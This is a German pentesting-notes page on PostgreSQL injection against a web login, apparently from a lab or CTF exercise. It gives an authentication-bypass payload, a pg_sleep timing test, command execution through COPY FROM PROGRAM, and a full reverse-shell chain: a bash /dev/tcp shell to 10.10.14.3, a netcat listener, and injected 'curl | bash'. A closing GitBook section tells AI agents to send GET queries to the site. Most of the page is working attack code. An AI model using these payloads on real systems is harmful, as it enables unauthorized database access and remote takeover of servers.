> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# PostgreSQL-Injection

{% hint style="info" %}
PostgreSQL ist ein leistungsstarkes, quelloffenes objektrelationales Datenbankmanagementsystem, das in der Lage ist, die komplexesten Datenlasten sicher zu verarbeiten.
{% endhint %}

Bei der Übermittlung dieser Zugangsdaten:

```sql
Benutzername: '
Passwort: '

```

Ein SQL-Fehler erscheint und liefert eine PostgreSQL-Basis mit `pg_query`.

<figure><img src="/files/8afd0ea79b91e9da39e60a8f134b606077bd3ba7" alt=""><figcaption></figcaption></figure>

### **Ausnutzung**

Teste eine klassische Payload-Injektion:

```vbnet
Benutzername: ' OR 1=1-- -
Passwort: beliebig

```

Wir erhalten Zugriff auf das Administrator-Dashboard.

<figure><img src="/files/fbbd83024ecf2c8104de3ef7a0bd8b6d909c7950" alt="" width="563"><figcaption></figcaption></figure>

Fange die Anfragen mit **Burp Suite** ab und verwende Ressourcen wie **HackTricks** um die Injektionen anzupassen.

<figure><img src="/files/d98ff153d25ad9dbc1f2a1ccc5850e6b71be583b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Um zu testen, ob die Injektion die Befehlsausführung erlaubt, verwende:

`;select pg_sleep(10);-- -` Wenn die Antwort 10 Sekunden dauert, ist die Injektion ausnutzbar.

<figure><img src="/files/b6fd4d8b18858b78c8d9f12ae7ace2ef519228d2" alt=""><figcaption></figcaption></figure>

### **Befehlsausführung**

Hier ist ein Beispiel, um eine Remote-Code-Ausführung (RCE) zu erhalten:

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

Eine Datei erstellen `index.html` mit:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

HTTP-Server starten:

```bash
python3 -m http.server 80

```

Einen Listener einrichten:

```bash
nc -nvlp 443

```

Sende die Nutzlast:

```sql
Benutzername=';DROP TABLE IF EXISTS cmd_exec;-- -&Passwort=d
Benutzername=';CREATE TABLE cmd_exec(cmd_output text);-- -&Passwort=d
Benutzername=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&Passwort=d

```

<figure><img src="/files/472c24b46702b1afad4b3d172d0bca17acfed934" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
